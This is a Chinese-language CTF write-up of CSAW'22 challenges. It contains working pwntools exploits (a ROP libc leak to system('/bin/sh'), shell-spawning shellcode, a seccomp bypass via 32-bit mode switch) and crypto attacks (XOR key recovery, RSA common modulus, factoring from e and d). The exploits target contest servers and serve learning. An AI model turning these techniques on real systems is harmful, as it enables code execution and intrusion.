• [CSAW‘22] 世界这么大


    目录

    pwn-ezROP

    baby Windows 未作

    how2pwn 未作成

    shello world 未完成

    Crypto: Gotta Crack Them All 未完成

    Phi Too Much In Common

    Not Too Taxing

    Poodle Gift Shop

    Beyond_Quantum

    REV:DockREleakage

    Anya Gacha 未完成

    Game

    The Big Bang

    Conti 最后一个也没完成


    国外的比赛还真有点意思,虽然没作出几道题来,但感觉还是非常不错的。

    pwn-ezROP

    pwn类的签到题,直接给源码,国外好多者直接给源码,比用go语言啥的强多了。

    1. #include
    2. #include
    3. int init(){
    4. fclose(stderr);
    5. setvbuf(stdin, 0, 2, 0);
    6. setvbuf(stdout, 0, 2, 0);
    7. }
    8. int check(char *s){
    9. char *ptr = s;
    10. while(*ptr!=0)
    11. {
    12. if(*ptr=='\n')
    13. {
    14. *ptr = 0; break;
    15. }
    16. if(isalpha(*ptr) || *ptr==' ')
    17. ptr++;
    18. else
    19. {
    20. puts("Hey Hacker! Welcome to CSAW'22!");
    21. exit(1);
    22. }
    23. }
    24. printf("Nice to meet you, %s! Welcome to CSAW'22!\n",s);
    25. return 1;
    26. }
    27. char * str1 = "My friend, what's your name?";
    28. void readn(char * buf, size_t len){
    29. if(read(0,buf,len)<=0)
    30. exit(1);
    31. return ;
    32. }
    33. void vul(void *buf){
    34. size_t rdi = 0x00000000004015a3;
    35. size_t rsi = rdi-2;
    36. size_t rop[0x100];
    37. size_t ct = 0 ;
    38. memset(rop,0,sizeof(rop));
    39. rop[ct++] = buf+0x70; // real ret address
    40. rop[ct++] = rdi;
    41. rop[ct++] = str1;
    42. rop[ct++] = puts;
    43. rop[ct++] = rsi;
    44. rop[ct++] = 0x100; // rsi
    45. rop[ct++] = 0x999; // Pad
    46. rop[ct++] = rdi;
    47. rop[ct++] = buf; // rdi
    48. rop[ct++] = readn;
    49. rop[ct++] = rdi;
    50. rop[ct++] = buf;
    51. rop[ct++] = check;
    52. rop[ct++] = 0x40152d;
    53. rop[0x104] = rop;
    54. return ;
    55. }
    56. int main(){
    57. char buf[100];
    58. init();
    59. vul(buf);
    60. }

    这里不光给了pop_rdi 还给了真实的返回地址,它自己就是个ROP,唯一卡点就是check需要用 \0绕过。这题也不用本地测试了,直接远程就可以

    1. from pwn import *
    2. p = remote('pwn.chal.csaw.io', 5002)
    3. context(arch='amd64', log_level='debug')
    4. elf = ELF('./ezROP')
    5. pop_rdi = 0x00000000004015a3
    6. pop_rsi = pop_rdi-2
    7. p.sendlineafter(b"My friend, what's your name?\n", b'\x00'*(0x70+8)+flat(pop_rdi, elf.got['read'], elf.plt['puts'], elf.sym['main']))
    8. p.recvline()
    9. libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x10dfc0 #libc6_2.31-0ubuntu9.9_amd64
    10. system = libc_base + 0x52290
    11. bin_sh = libc_base + 0x1b45bd
    12. p.sendlineafter(b"My friend, what's your name?\n", b'\x00'*(0x70+8)+flat(pop_rdi+1, pop_rdi, bin_sh, system, elf.sym['_start']))
    13. p.recvline()
    14. p.interactive()

    不过有一点比较坑,windows上的pwntools虽然能运行但最后至少了interactive 在linux就正常。

    baby Windows 未作

    没弄好windows 的环境没作。有个gets溢出,应该很简单。等看到WP收集一下。

    how2pwn 未作成

    这里给了4段小程序相当于一个教程,每一段有一个方法

    1. #include
    2. #include
    3. void init(){
    4. // Set stdin/stdout unbuffered
    5. // So folks would not have io(input/output) issues
    6. fclose(stderr);
    7. setvbuf(stdin, 0, 2, 0);
    8. setvbuf(stdout, 0, 2, 0);
    9. }
    10. int main(){
    11. init();
    12. // A buffer is created to store your shellcode
    13. char buf[0x100];
    14. puts("Enter your shellcode: ");
    15. read(0, buf, 0x100);
    16. // A functioner point is defined and points to the buffer.
    17. void (* p )();
    18. p = (void (*)()) buf;
    19. // Let's run the shellcode
    20. p();
    21. return 0;
    22. }

    第一段是让输入shelccode然后支持执行。每个都给了例子和修改方法,按例子把/bin/sh压栈然后执行59syscall

    1. from pwn import *
    2. context.log_level='debug'
    3. #p = process("./chal")
    4. p = remote("how2pwn.chal.csaw.io", 60001)
    5. #context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
    6. #gdb.attach(p) # attach to debug, don't forget to run "tmux" before running the script
    7. # Tip: In x64,
    8. # rdi/rsi/rdx is the register to store the first/second/third parameter of a syscall
    9. # rax is the syscall number, for example `mov rax,0 ; syscall` means calling read
    10. # Also, the return value would be stored at rax
    11. # There is a template of syscall(v1,v2,0,0)
    12. # You can check all Linux x64 syscalls at this page: https://syscalls64.paolostivanin.com/
    13. # Your task is understanding and completing the shellcode
    14. # And our goal is running exec("/bin/sh",0,0) to get a shell
    15. # Make sure to hexify the arguments for shellcode!
    16. v1 = 59
    17. v2 = u64(b'/bin/sh\0')
    18. context.arch = 'amd64'
    19. shellcode = f'''
    20. xor rax, rax
    21. xor rdi, rdi
    22. xor rsi, rsi
    23. xor rdx, rdx
    24. mov rax, {v1}
    25. mov rdi, {v2}
    26. push rdi
    27. mov rdi, rsp
    28. syscall
    29. '''
    30. p.sendlineafter(": \n",asm(shellcode).ljust(0x100,b'\0'))
    31. p.interactive()

    然后会在/flag里得到下一段的程序样例和票,下一段要先输入票再运行

    第二段,是说读入长度不够,需要先用shellcode读入下一段再执行

    1. #include
    2. #include
    3. #include
    4. #include
    5. #include
    6. #include
    7. void panic(char *s){
    8. puts(s);
    9. _exit(1);
    10. }
    11. void checkin(){
    12. // Solved the previous challenge, and find the ticket in "/flag"
    13. char real_ticket[0x30] = {0};
    14. char your_ticket[0x30] = {0};
    15. int f = open("./ticket",0);
    16. if(f<0)
    17. panic("[-] Fail to open tickect");
    18. read(f,real_ticket,0x20);
    19. read(0,your_ticket,0x20);
    20. close(f);
    21. if(strncmp(real_ticket,your_ticket,0x20))
    22. panic("[-] Wrong Ticket");
    23. return ;
    24. }
    25. void init(){
    26. fclose(stderr);
    27. setvbuf(stdin, 0, 2, 0);
    28. setvbuf(stdout, 0, 2, 0);
    29. checkin();
    30. }
    31. int main(){
    32. init();
    33. char buf[0x100];
    34. puts("Enter your shellcode: ");
    35. read(0, buf, 0x10);
    36. // Sorry I am too lazy to type an additional "0"
    37. void (* p )();
    38. p = (void (*)())buf;
    39. p();
    40. return 0;
    41. }

    改好的例子

    1. from pwn import *
    2. #p = process("./all/chal2")
    3. p = remote("how2pwn.chal.csaw.io", 60002)
    4. # context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
    5. # For this challenge, your task is to get a shell with shorter shellcode: 0x10 bytes
    6. # Tip 1: Some register have the correct values before running our shellcode! Let's use gdb to check these registers!
    7. # Tip 2: The 0x10 bytes length limitation is too strict for execve("/bin/sh") cuz len("/bin/sh")==0x8. \
    8. # Why don't we call read rather than execve \
    9. # so we could read longer shellcode and execute "/bin/sh"
    10. context.arch = 'amd64'
    11. context.log_level = 'debug'
    12. shellcode = f'''
    13. xor rax,rax
    14. mov rdx,0x100
    15. syscall
    16. nop
    17. nop
    18. '''
    19. # gdb.attach(p)
    20. shellcode = asm(shellcode)
    21. print(len(shellcode))
    22. p.send(b'764fce03d863b5155db4af260374acc1')
    23. p.sendafter(b": \n",shellcode.ljust(0x10,b'\0'))
    24. # If you sent proper shellcode which allows us to read longer shellcode,
    25. # you can try the following code. It's an easier way to generate shellcode
    26. p.send(b"\x90"*len(shellcode)+asm(shellcraft.sh()))
    27. p.interactive()

    第3段没得到结果,不清楚哪改错了

    第3段说用了sec保护要切换到32位模式用orw

    1. #include
    2. #include
    3. #include
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. void panic(char *s){
    13. puts(s);
    14. _exit(1);
    15. }
    16. void checkin(){
    17. // Solved the previous challenge, and find the ticket in "/flag"
    18. char real_ticket[0x30] = {0};
    19. char your_ticket[0x30] = {0};
    20. int f = open("./ticket",0);
    21. if(f<0)
    22. panic("[-] Fail to open tickect");
    23. read(f,real_ticket,0x20);
    24. read(0,your_ticket,0x20);
    25. close(f);
    26. if(strncmp(real_ticket,your_ticket,0x20))
    27. panic("[-] Wrong Ticket");
    28. return ;
    29. }
    30. void init(){
    31. fclose(stderr);
    32. setvbuf(stdin, 0, 2, 0);
    33. setvbuf(stdout, 0, 2, 0);
    34. checkin();
    35. }
    36. void sandbox(){
    37. // This sandbox forbids lots of syscalls so you can't open the flag!
    38. struct sock_filter filter[] = {
    39. // BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),
    40. // BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
    41. // BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    42. BPF_STMT(BPF_LD | BPF_W | BPF_ABS,
    43. offsetof(struct seccomp_data, nr)),
    44. BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, 0x40000000 , 0, 1),
    45. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    46. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1),
    47. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    48. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 0, 1),
    49. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    50. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 0, 1),
    51. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    52. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 0, 1),
    53. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    54. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_creat, 0, 1),
    55. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    56. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_fork, 0, 1),
    57. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    58. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_vfork, 0, 1),
    59. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    60. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_clone, 0, 1),
    61. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    62. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_kill, 0, 1),
    63. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    64. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_tkill, 0, 1),
    65. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    66. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_tgkill, 0, 1),
    67. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS),
    68. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    69. };
    70. struct sock_fprog prog = {
    71. .len = sizeof(filter) / sizeof(filter[0]),
    72. .filter = filter,
    73. };
    74. // set no_new_privs
    75. int ret = 0 ;
    76. ret = syscall(__NR_prctl,PR_SET_NO_NEW_PRIVS, 1,0,0,0);
    77. if(ret!=0)
    78. panic("[-] PR_SET_NO_NEW_PRIVS FAIL");
    79. // Apply the filter.
    80. ret = syscall(__NR_seccomp,SECCOMP_SET_MODE_FILTER,0,&prog);
    81. if(ret!=0)
    82. panic("[-] SECCOMP_SET_MODE_FILTER FAIL");
    83. puts("[+] Sandbox On");
    84. }
    85. int main(){
    86. init();
    87. char buf[0x100];
    88. puts("Enter your shellcode: ");
    89. read(0, buf, 0x100);
    90. void (* p )();
    91. p = (void (*)())buf;
    92. sandbox();
    93. p();
    94. return 1;
    95. }

    改完的只能在本地执行,远程执行不了

    1. from pwn import *
    2. # context.log_level='debug'
    3. debug = 0
    4. if debug:
    5. p = process("./all/chal3")
    6. else:
    7. p = remote("how2pwn.chal.csaw.io",60003)
    8. #p = remote("0.0.0.0", 60003)
    9. # context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
    10. # 1. In this challenge, you can't open a file because of the strict sandbox
    11. # 2. But there is a vul about the sanbox, it doesn't check the syscall arch.
    12. # 3. We can use x86 syscalls to bypass it. All x86 syscalls: https://syscalls32.paolostivanin.com/
    13. # 4. You may find x86 can't visite x64 address because x64 address is too long to be stored in the x86 register. However, we still have syscall_mmap, which could allocate a chunk of memory, for example 0xcafe000, so we can visite this address in x86 mode.
    14. # 5. There is a demo for retf: https://github.com/n132/n132.github.io/blob/master/code/GoogleCTF/S2/XxX/pwn.S
    15. context.arch = 'amd64'
    16. context.log_level = 'debug'
    17. sleep(0.1)
    18. p.send(b'8e7bd9e37e38a85551d969e29b77e1ce')
    19. #mmap(0x10000000, 0x2000, 7)
    20. mmap = 0xcafe0000
    21. shellcode = f'''
    22. xor rax,rax
    23. mov al, 9
    24. mov rdi,{mmap}
    25. mov rsi,0x1000
    26. mov rdx,0x7
    27. mov r10,0x21
    28. xor r8,r8
    29. xor r9,r9
    30. syscall
    31. xor rdi,rdi
    32. mov rsi,{mmap}
    33. mov rdx,63
    34. xor rax,rax
    35. syscall
    36. mov eax,{mmap}
    37. mov rbx, 0x2300000000
    38. xor rax,rbx
    39. push rax
    40. '''
    41. #gdb.attach(p)
    42. #pause()
    43. shellcode = asm(shellcode)+b'\xcb'# \xcb is retf
    44. print("[+] len of shellcode: "+str(len(shellcode)))
    45. p.sendafter(b"Enter your shellcode: \n",shellcode.ljust(0x100,b'\x90'))
    46. context.arch='i386'
    47. context.bits=32
    48. flag_path_1 = hex(u32(b"/fla"))
    49. flag_path_2 = hex(u32(b"g\0\0\0"))
    50. shellcode=f'''
    51. mov esp, {mmap+0xd00}
    52. mov eax, 0x5
    53. push {flag_path_2}
    54. push {flag_path_1}
    55. mov ebx,esp
    56. xor ecx,ecx
    57. xor edx,edx
    58. int 0x80
    59. mov ebx,eax
    60. mov al,0x3
    61. mov ecx,{mmap+0x200}
    62. mov edx,0x800
    63. int 0x80
    64. mov al,0x4
    65. mov ebx,0x1
    66. mov ecx,{mmap+0x200}
    67. mov edx,0x300
    68. int 0x80
    69. nop
    70. nop
    71. retf
    72. nop
    73. '''
    74. # input()
    75. shellcode = asm(shellcode)
    76. print("[+] len of shellcode: "+str(len(shellcode)))
    77. p.send(shellcode.ljust(60, b'\x90'))
    78. p.recv()
    79. p.interactive()
    80. p.close()

    在本地后边的nop,retf其实也用不着,远程会报不同的错,retf是要在执行完后恢复状态,不加会报错。

    第4段作不到,先存下,应该是只允许fork,ioctl,exit其它都禁用

    1. #include
    2. #include
    3. #include
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. void panic(char *s){
    16. puts(s);
    17. _exit(1);
    18. }
    19. void checkin(){
    20. // Solved the previous challenge, and find the ticket in "/flag"
    21. char real_ticket[0x30] = {0};
    22. char your_ticket[0x30] = {0};
    23. int f = open("./ticket",0);
    24. if(f<0)
    25. panic("[-] Fail to open tickect");
    26. read(f,real_ticket,0x20);
    27. read(0,your_ticket,0x20);
    28. close(f);
    29. if(strncmp(real_ticket,your_ticket,0x20))
    30. panic("[-] Wrong Ticket");
    31. return ;
    32. }
    33. void init(){
    34. fclose(stderr);
    35. setvbuf(stdin, 0, 2, 0);
    36. setvbuf(stdout, 0, 2, 0);
    37. checkin();
    38. }
    39. void sandbox(){
    40. // challenge setting
    41. // This sandbox only allows __NR_seccomp __NR_fork __NR_ioctl __NR_exit
    42. // and it would trace all other syscalls
    43. struct sock_filter strict_filter[] = {
    44. BPF_STMT(BPF_LD | BPF_W | BPF_ABS,offsetof(struct seccomp_data, nr)),
    45. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_seccomp, 0, 1),
    46. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    47. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_fork, 0, 1),
    48. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    49. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_ioctl, 0, 1),
    50. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    51. BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_exit, 0, 1),
    52. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    53. BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_TRACE),
    54. };
    55. struct sock_fprog prog = {
    56. .len = sizeof(strict_filter) / sizeof(strict_filter[0]),
    57. .filter = strict_filter,
    58. };
    59. int ret = 0 ;
    60. ret = syscall(__NR_prctl,PR_SET_NO_NEW_PRIVS, 1,0,0,0);
    61. if(ret!=0)
    62. panic("[-] PR_SET_NO_NEW_PRIVS FAIL");
    63. // Apply the filter.
    64. ret = syscall(__NR_seccomp,SECCOMP_SET_MODE_FILTER,0,&prog);
    65. if(ret!=0)
    66. panic("[-] SECCOMP_SET_MODE_FILTER FAIL");
    67. puts("[+] Sandbox On");
    68. }
    69. int main(){
    70. init();
    71. // To make exploit script easier, our shellcode would be on 0xcafe000
    72. char *buf = mmap((void *)0xcafe000,0x1000,7,0x21,0,0);
    73. if((size_t)buf!=0xcafe000)
    74. panic("Fail to mmap");
    75. puts("Enter your shellcode: ");
    76. read(0, buf, 0x1000);
    77. void (* p )();
    78. p = (void (*)())buf;
    79. sandbox();
    80. p();
    81. return 1;
    82. }

    shello world 未完成

    又是一个window题,看来国外win很流行,咱们都改国芯linux了。他们落后了!

    web,forensics,misc都不会。签到题和那些好多都是谷歌,推特,油管类的上不去的网站,还有1G的附件的对咱们太不友好了。

    MISC收集到一题:

    Quantum Leap (misc)

    原来这样,把密文2进制第2,4,6位为1时第3,5,7位与1异或

    1. c = 'wxqvn$Zae${deyZv$d"i'
    2. flag = ''
    3. for v in c:
    4. a = list(bin(ord(v))[2:].zfill(8))
    5. for i in [2,4,6]:
    6. if a[i] == '1':
    7. a[i+1] = str(int(a[i+1])^1)
    8. flag+=chr(int(''.join(a), 2))
    9. print(flag)

    Crypto: Gotta Crack Them All 未完成

    其实一直不明白是什么意思,英文这东西不好理解,机翻以后还是理解不了。

    给了一个明文,和一堆密文,问哪个是老板的密码。加密是用的xor,可以很容易得到这个明文是第6个密文。然后就得到key,后边能解出所有明文,但哪个是老板的呢?

    给出的明文

    Cacturne-Grass-Dark

    密文是乱码但也能看

    1. cr霜繱i凁告櫩
    2. lz爪轜r冦膏?ks蹋薢r览袈彺??`z战臱b冮多懍p
    3. kw暮臖a苏襞澒y?kz乒貲u藠炧澗o?陷d
    4. {w屎莀u蓨夶暰s璲v鲣要
    5. {u垃逽w冦膏椸U?
    6. `t式?K蒉胡暜1?淋{
    7. zs芙蒁r琳粽帰i?凖`鲧
    8. {~扩肂6檎羔?ks蹋蟐t蹔庴埁n?率l狺要
    9. |h目蒘u蠆炧澗o
    10. mc片菵r滤粽帰i?凕{痖?on染腨t輮楜帬}?ci坍荢o凵伎靖{
    11. lz坠轤c冟従1?灼a?xr韦躍p冮多懍p?轮f
    12. ln鹿轤t冟墸x?谑j?jz之賈r缞庴埁n
    13. `r战肁辽粽帰i?
    14. |t篓豞x冡耕幋1?灼a?nr耍蒠u凁告櫩
    15. zr省?]抢辨暎{
    16. mu穴?]钦?{k驻豅~藠燇暱e
    17. ez斯臱~凁告櫩1?灼a?{r苫蚙w讑楜帬}?j~伞逨i烈豢}??`?鸳
    18. b砖蒘i冮多懍p?葜l?ez驻繸6庎Z?苤
    19. `~砖臩i冮多懍p
    20. iw熏轤z冦洟r?轮f
    21. |s椰蟏~讑炧澗o
    22. {k篮躓6煲?ji剩諽u蓨婃櫒p?葜l?`z维罽6翃澿潽s璲杵h咬?ks谰躝u冟従
    23. ei嬳醎v藠夅叜t?冮n?|t祝蚏n輮燓叅r?xn栅豔i凊恶椸[?哿k
    24. kt券貳p松粼暱y?侨g徨债
    25. on叻繷i蕣濗帵1?先`?kz祝臔r缆粽幀o?oi屎繽o坡粼暱y
    26. oi携蝊u冨
    27. oz止轞辽襞澒y眏檩`噔?ot薁?_芷君?|s台贑w冦膏?u慆螩)潚顮嚣q爒耷6?

    加密程序

    1. with open('key.txt','rb') as f:
    2. key = f.read()
    3. def encrypt(plain):
    4. return b''.join((ord(x) ^ y).to_bytes(1,'big') for (x,y) in zip(plain,key))

    自己写解密,由于给的明文不够长,所以解出来应该是前一部分。但哪个是呢?

    1. def encrypt(plain, key):
    2. return b''.join((x ^ y).to_bytes(1,'big') for (x,y) in zip(plain,key))
    3. from pwn import xor
    4. import string
    5. code = list(string.printable.encode())
    6. a = b'Cacturne-Grass-Dark'
    7. c = open('encrypted_passwords.txt', 'rb').read().split(b'\n')
    8. #原key不够长,第42行Guzzlord-Dark-Drago 20位应该为n b'Guzzlord-Dark-Dragon 0xfb^ord('n') = 0x95
    9. #key = encrypt(a, b'kz\xc6\xb9\xd9Du\xcb\x8a\x9e\xe0\x9d\xbeo\xee\x03\xcf\xddd\x95')
    10. key = b'(\x1b\xa5\xcd\xac6\x1b\xae\xa7\xd9\x92\xfc\xcd\x1c\xc3G\xae\xaf\x0f\x95'
    11. print('keylen:',len(key), key)
    12. for j,p in enumerate(c):
    13. m = encrypt(p,key)
    14. if all([i in code for i in m]):
    15. print(j+1,len(p),len(m),m)
    16. #只有第50行与众不同
    17. #50 20 20 b'1n53cu2357234mc1ph32'
    18. #1n53cu2357234mc1ph32 无包裹

    Phi Too Much In Common

    唯一的一个RSA题,只完成了这一个题。一开始试了3次,发现无解。过一天后又开始试了一次,发现有n相同的情况。那就是共模攻击,这个就容易了

    1. from Crypto.Util.number import long_to_bytes
    2. from gmpy2 import invert
    3. # 欧几里得算法
    4. def egcd(a, b):
    5. if a == 0:
    6. return (b, 0, 1)
    7. else:
    8. g, y, x = egcd(b % a, a)
    9. return (g, x - (b // a) * y, y)
    10. def main():
    11. global n,c1,c2,e1,e2
    12. s = egcd(e1, e2)
    13. s1 = s[1]
    14. s2 = s[2]
    15. # 求模反元素
    16. if s1<0:
    17. s1 = - s1
    18. c1 = invert(c1, n)
    19. elif s2<0:
    20. s2 = - s2
    21. c2 = invert(c2, n)
    22. m = pow(c1,s1,n)*pow(c2,s2,n) % n
    23. print( long_to_bytes(m) )
    24. N = []
    25. E = []
    26. C = []
    27. from pwn import *
    28. p = remote('crypto.chal.csaw.io', 5000)
    29. for _ in range(200):
    30. p.sendlineafter(b'> ', b'1')
    31. p.recvuntil(b'N = ')
    32. tn = int(p.recvline())
    33. p.recvuntil(b'e = ')
    34. te = int(p.recvline())
    35. p.recvuntil(b'c = ')
    36. tc = int(p.recvline())
    37. if tn not in N:
    38. N.append(tn)
    39. E.append(te)
    40. C.append(tc)
    41. else:
    42. n = tn
    43. e1 = E[N.index(tn)]
    44. c1 = C[N.index(tn)]
    45. e2 = te
    46. c2 = tc
    47. main()
    48. '''
    49. n = 132545322158190776199352789189142063486867022709380849756407544830537081305140054652259072249766372818405930894093443869754135402659969589309107393617675594143564518436513353986161063815697599067445591044848854877704280592323490700817768820445363733428865691437533783517101758351931660920767371534445301780733
    50. e1 = 28390832237007797615303276605895353830136149851299131487952866437950594068529
    51. c1 = 17477090066152527978580119447794592025314713262655495368503646438312219022187119930353800946391345646729024519453076495449057848285958550378524836910492338323559000055186178172307379642601907190404340383495789639653810596420419284256347674923375412031002646645214657786141372974986427388868439504418536051652
    52. e2 = 35617208372400321480281532859944129895179156313471082512897694534983482611083
    53. c2 = 94542362731325483096264896884294753666314847255094461457925803531553615324721722301248597528353440193359077600272766696766113278973872198128705533507838808684555164566885441756619048431184346444045465790011423034883085613692118372985993034653619702677802097725305334920243630195371489452037401139970682527836
    54. '''
    55. #2
    56. n = 89560691336795161207138552570302450564215243827359167218444523047125457653172201538710660544735642156975892958459213208728292699178908151482948743587713993925679021399856573508073635239306496174484354253917474336135569394332863808424492354445473607621408449504104705127133085229487336665174279208481052472471
    57. e1 = 20780056983331404509635854658234592870947668817581436436344056883952589844777
    58. c1 = 70025507849662042551019933338472909210038561808437771253050427552249320521880336442958398563838241992792340232082179558151668995943763709641534371686830648710017322851953410854754898643253923919211457119204170461484645377747971397870948649720268531592518405741969591926121315540051060916926337826708384508472
    59. e2 = 9819504059501040780180294501444282918456565888546824229108395652117724174323
    60. c2 = 9172294855265425466838460056473760604520435175436743883017297306026718951826163929018682820514201302661248454362250226849286719982773063895307140855942534626573459727750190263288673500746405878731795171908494356225795633764958005088739139300310449159352313912319572842595125019789387621603752148641215706184
    61. #第一步 多取几组得到相同的n,用共模攻击得到密码
    62. if __name__ == '__main__':
    63. main()

    第一步成功后,输入得到的密码进行第二步,第2步给出n,e,d要phi

    这个通过模版直接处理。后边是交互过程留存。

    1. from gmpy2 import *
    2. import random
    3. #第二步根据e,d,n 得到phi
    4. N = 64608633023924522802315538878491180222429001102011159671433820745170916059652325574320970009140101815653262879796816256305338075323861448773022793202694960839825874438164074482327343466675032686837134944179039198288595559060181129517101480601678135501737419188016859913152104729813965301104332896170043960303
    5. e = 22681579841004561166186270902536454753351095688981604887726848124548925561445
    6. d = 22266948095249761281956528408991563762736752105105786304602756892576961141661570394431315297968631775210832726800826339154799603302375112262225062250251683025334404878110778376676601411107626657558428416057040431950538551490501442233921558160470393343416755632367997193472597048712703736505394216146849861645
    7. def getpq(n,e,d):
    8. while True:
    9. k = e * d - 1
    10. g = random.randint(0, n)
    11. while k%2==0:
    12. k=k//2
    13. temp=gmpy2.powmod(g,k,n)-1
    14. if gmpy2.gcd(temp,n)>1 and temp!=0:
    15. return gmpy2.gcd(temp,n)
    16. p = getpq(N,e,d)
    17. print(p)
    18. q = N//p
    19. phi = (p-1)*(q-1)
    20. print(phi)
    21. #flag{aR3nT_U_tH3_RSA_ninJA}
    22. '''
    23. shi@shi-virtual-machine:~/ctf/001$ nc crypto.chal.csaw.io 5000
    24. ********** TOO MUCH IN COMMON **********
    25. Have at it!
    26. /------------------------------\
    27. | COMMANDS |
    28. | |
    29. | 1) ciphertext_info |
    30. | 2) solve_challenge |
    31. | 3) exit |
    32. \------------------------------/
    33. > 2 d0nt_reUs3_c0mm0n_m0duLus_iN_RSA
    34. ********** What the Phi? **********
    35. Give me phi and I'll give you a flag
    36. N = 64608633023924522802315538878491180222429001102011159671433820745170916059652325574320970009140101815653262879796816256305338075323861448773022793202694960839825874438164074482327343466675032686837134944179039198288595559060181129517101480601678135501737419188016859913152104729813965301104332896170043960303
    37. e = 22681579841004561166186270902536454753351095688981604887726848124548925561445
    38. d = 22266948095249761281956528408991563762736752105105786304602756892576961141661570394431315297968631775210832726800826339154799603302375112262225062250251683025334404878110778376676601411107626657558428416057040431950538551490501442233921558160470393343416755632367997193472597048712703736505394216146849861645
    39. /------------------------------\
    40. | COMMANDS |
    41. | |
    42. | 1) try_again |
    43. | 2) phi |
    44. | 3) exit |
    45. \------------------------------/
    46. > 2 64608633023924522802315538878491180222429001102011159671433820745170916059652325574320970009140101815653262879796816256305338075323861448773022793202694944621270050324126715493546732201685920618847293843717699244774946725282484858671049453843813262870631433423616554627338664139249862599389738993705537427408
    47. What?! How did you do that??
    48. flag{aR3nT_U_tH3_RSA_ninJA}
    49. '''

    Not Too Taxing

    这个没看明文,是两个pdf和一个加密的pdf,第1个是交互的邮件,第2个估计是银行的税单。

    Poodle Gift Shop

    题目

    1. #!/usr/bin/python3
    2. import hashlib
    3. import hmac
    4. import sys
    5. from base64 import b64encode, b64decode
    6. from Crypto import Random
    7. from Crypto.Cipher import AES
    8. key = open('./key', 'r').read().strip().encode()
    9. flag = open('./flag.txt', 'r').readline().strip().encode()
    10. def get_hmac(m):
    11. return hmac.new(key, msg=m, digestmod=hashlib.sha256).digest()
    12. def hmac_is_valid(pt):
    13. digest = pt[-32:]
    14. msg = pt[:-32]
    15. return equal_bytearrays(hmac.new(key, msg=msg, digestmod=hashlib.sha256).digest(), digest)
    16. def equal_bytearrays(a1, a2):
    17. if len(a1) != len(a2):
    18. return False
    19. else:
    20. for i in range(len(a1)):
    21. if a1[i] != a2[i]:
    22. return False
    23. return True
    24. def pad(pt):
    25. pad_value = 16 - len(pt) % 16
    26. pt = pt + (chr(pad_value) * pad_value).encode()
    27. return pt
    28. def verify_padding_and_unpad(pt):
    29. pad_value = pt[-1]
    30. if pad_value == 0 or pad_value > 32:
    31. return False
    32. else:
    33. pt = pt[:(-1 * pad_value)]
    34. return pad_value, pt
    35. def encrypt(pt):
    36. iv = Random.new().read(AES.block_size)
    37. cipher = AES.new(key, AES.MODE_CBC, iv)
    38. ct = cipher.encrypt(pt)
    39. ct = iv + ct
    40. ct = b64encode(ct)
    41. return ct
    42. def decrypt(ct):
    43. ct_incl_iv = b64decode(ct)
    44. iv, ct = ct_incl_iv[:16], ct_incl_iv[16:]
    45. cipher = AES.new(key, AES.MODE_CBC, iv)
    46. return cipher.decrypt(ct)
    47. def decrypt_and_verify(ct):
    48. pt = decrypt(ct)
    49. pad, pt = verify_padding_and_unpad(pt)
    50. if pt and hmac_is_valid(pt):
    51. print(
    52. "\nValid plaintext. We assume you have purchased our flag decryption key and can therefore read the flag. Thank you for your patronage.\n")
    53. return True
    54. print("Something went wrong during decryption. Try again?")
    55. return False
    56. def get_canine_order():
    57. print("What type of canine would you like to purchase?")
    58. print("> ", end="")
    59. canine_type = input().encode()
